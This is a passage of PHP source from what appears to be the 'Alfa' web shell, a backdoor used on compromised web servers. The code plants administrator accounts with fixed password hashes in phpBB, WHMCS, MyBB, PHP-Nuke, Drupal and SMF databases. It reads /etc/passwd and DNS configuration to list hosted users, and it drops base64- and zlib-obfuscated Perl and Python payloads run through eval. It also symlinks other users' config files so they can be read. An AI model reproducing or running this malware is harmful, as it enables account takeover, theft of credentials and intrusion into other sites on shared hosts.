  4371. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4372. 'td4' =>
  4373. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4374. 'td5' =>
  4375. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4376. 'td6' =>
  4377. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4378. 'td7' =>
  4379. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4380. 'td8' =>
  4381. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4382. );
  4383. create_table($table);
  4384. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4385. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4386. $localhost = $_POST['alfa2'];
  4387. $database = $_POST['alfa3'];
  4388. $username = $_POST['alfa4'];
  4389. $password = $_POST['alfa6'];
  4390. $admin = $_POST['alfa8'];
  4391. $SQL = $_POST['alfa9'];
  4392. $prefix = $_POST['alfa10'];
  4393. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4394. $hash = md5('solevisible');
  4395. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4396. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4397. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
  4398. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
  4399. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4400. if($solevisible){
  4401. __alert('Success... '.$admin.' is created...');
  4402. }
  4403. }
  4404. }
  4405. if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){
  4407. echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
  4408. $table = array('td1' =>
  4409. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4410. 'td2' =>
  4411. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4412. 'td3' =>
  4413. array('color' => 'FFFFFF', 'tdName' => 'DbUser', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4414. 'td4' =>
  4415. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4416. 'td6' =>
  4417. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4418. 'td7' =>
  4419. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4420. 'td8' =>
  4421. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4422. );
  4423. create_table($table);
  4424. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4425. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4426. $localhost = $_POST['alfa2'];
  4427. $database = $_POST['alfa3'];
  4428. $username = $_POST['alfa4'];
  4429. $password = $_POST['alfa5'];
  4430. $admin = $_POST['alfa8'];
  4431. $SQL = $_POST['alfa9'];
  4432. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4433. $solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
  4434. if($solevisible){
  4435. __alert('Success... '.$admin.' is created...');}
  4436. }
  4437. }
  4438. if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){
  4440. echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4441. $table = array('td1' =>
  4442. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4443. 'td2' =>
  4444. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4445. 'td3' =>
  4446. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4447. 'td4' =>
  4448. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4449. 'td5' =>
  4450. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4451. 'td6' =>
  4452. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4453. 'td7' =>
  4454. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4455. 'td8' =>
  4456. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4457. );
  4458. create_table($table);
  4459. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4460. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4461. $localhost = $_POST['alfa2'];
  4462. $database = $_POST['alfa3'];
  4463. $username = $_POST['alfa4'];
  4464. $password = $_POST['alfa5'];
  4465. $admin = $_POST['alfa8'];
  4466. $SQL = $_POST['alfa9'];
  4467. $prefix = $_POST['alfa10'];
  4468. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4469. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
  4470. if($solevisible){
  4471. __alert('Success... '.$admin.' is created...');}
  4472. }
  4473. }
  4474. if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){
  4476. echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
  4477. $table = array('td1' =>
  4478. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4479. 'td2' =>
  4480. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4481. 'td3' =>
  4482. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4483. 'td4' =>
  4484. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4485. 'td5' =>
  4486. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4487. 'td6' =>
  4488. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4489. 'td7' =>
  4490. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4491. 'td8' =>
  4492. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4493. );
  4494. create_table($table);
  4495. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4496. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4497. $localhost = $_POST['alfa2'];
  4498. $database = $_POST['alfa3'];
  4499. $username = $_POST['alfa4'];
  4500. $password = $_POST['alfa5'];
  4501. $admin = $_POST['alfa7'];
  4502. $SQL = $_POST['alfa9'];
  4503. $prefix = $_POST['alfa10'];
  4504. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4505. $hash = md5($pwd);
  4506. $solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  4507. if($solevisible){
  4508. __alert('Success... '.$admin.' is created...');}
  4509. }
  4510. }
  4511. if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){
  4513. echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
  4514. $table = array('td1' =>
  4515. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4516. 'td2' =>
  4517. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4518. 'td3' =>
  4519. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4520. 'td4' =>
  4521. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4522. 'td6' =>
  4523. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4524. 'td7' =>
  4525. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
  4526. );
  4527. create_table($table);
  4528. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4529. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4530. $localhost = $_POST['alfa2'];
  4531. $database = $_POST['alfa4'];
  4532. $username = $_POST['alfa5'];
  4533. $password = $_POST['alfa6'];
  4534. $admin = $_POST['alfa8'];
  4535. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4536. $getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
  4537. $getDescuid = @mysqli_fetch_assoc($getDescuid);
  4538. $getDescuid = $getDescuid['uid'];
  4539. $getdescuid = $getDescuid++;
  4540. $solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
  4541. $solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
  4542. $sole = mysqli_num_rows($solevisible);
  4543. if ($sole == 1){
  4544. $solevis = mysqli_fetch_assoc($solevisible);
  4545. $res = $solevis['uid'];
  4546. }
  4547. $solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
  4548. if($solevisible){
  4549. __alert('Success... '.$admin.' is created...');}
  4550. }
  4551. }
  4553. if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){
  4555. echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
  4556. $table = array('td1' =>
  4557. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4558. 'td2' =>
  4559. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4560. 'td3' =>
  4561. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4562. 'td4' =>
  4563. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4564. 'td5' =>
  4565. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
  4566. 'td6' =>
  4567. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4568. 'td7' =>
  4569. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4570. );
  4571. create_table($table);
  4572. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4573. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4574. $localhost = $_POST['alfa2'];
  4575. $database = $_POST['alfa3'];
  4576. $username = $_POST['alfa5'];
  4577. $password = $_POST['alfa6'];
  4578. $prefix = $_POST['alfa7'];
  4579. $admin = $_POST['alfa8'];
  4580. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4581. $setpwAlg = sha1(strtolower($admin) . 'solevisible');
  4582. $solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
  4583. if($solevisible){
  4584. __alert('Success... '.$admin.' is created...');}
  4585. }
  4586. }
  4587. echo "</div>";
  4588. alfafooter();
  4589. }
  4590. function alfaMakePwd(){
  4591. if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
  4592. return "/home/{user}/public_html/";
  4593. }
  4594. $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
  4595. $public = end($document);
  4596. array_pop($document);
  4597. array_pop($document);
  4598. $path = implode("/", $document) . "/{user}/" . $public;
  4599. return $path;
  4600. }
  4601. function alfaGetDomains($state = false){
  4602. $state = "named.conf";
  4603. $lines = array();
  4604. $lines = _alfa_file('/etc/named.conf');
  4605. if(!$lines){
  4606. $lines = @scandir("/etc/valiases/");
  4607. $state = "valiases";
  4608. if(!$lines){
  4609. $lines = @scandir("/var/named");
  4610. $state = "named";
  4611. if(!$lines && $state){
  4612. $lines = _alfa_file('/etc/passwd');
  4613. $state = "passwd";
  4614. }
  4615. }
  4616. }
  4617. return array("lines" => $lines, "state" => $state);
  4618. }
  4619. function alfasymlink(){
  4620. alfahead();
  4621. AlfaNum(9,10);
  4622. echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
  4623. if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
  4624. $sympath = alfaMakePwd();
  4625. @mkdir('cgialfa',0755);
  4626. @chdir('cgialfa');
  4627. alfacgihtaccess('cgi');
  4628. $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';
  4629. $py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
  4630. $cginame = "symperl.alfa";
  4631. $source = $perl;
  4632. $lang = "perl";
  4633. if($_POST["alfa2"]=="sympy"){
  4634. $cginame = "pysymlink.alfa";
  4635. $source = $py;
  4636. $lang = "python";
  4637. }
  4638. @__write_file($cginame,$source);
  4639. @chmod($cginame,0755);
  4640. echo __pre();
  4641. $resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
  4642. if(strlen($resource) == 0){
  4643. echo AlfaiFrameCreator('cgialfa/'.$cginame);
  4644. }else{
  4645. echo $resource;
  4646. }
  4647. }
  4648. if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
  4649. if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
  4650. AlfaNum(9,10);
  4651. echo __pre().'
  4652. <center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
  4653. <input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
  4654. <input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
  4655. <p><input type="submit" value=" " name="symlink" /></p></form></center>';
  4656. $path = $_POST['alfa5'];
  4657. $symname = $_POST['alfa6'];
  4658. $solevisible58 = $_POST['alfa7'];
  4659. if($solevisible58){
  4660. $new_name = str_replace(".", "_", basename($symname));
  4661. $rand_dir = $new_name.rand(111,9999);
  4662. $sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
  4663. @mkdir($sym_dir, 0777, true);
  4664. alfacgihtaccess('sym', $sym_dir, $symname);
  4665. _alfa_symlink("$path","$sym_dir/$symname");
  4666. echo __pre();
  4667. echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
  4668. }
  4669. }else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
  4670. }
  4671. if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
  4672. $cant_symlink = true;
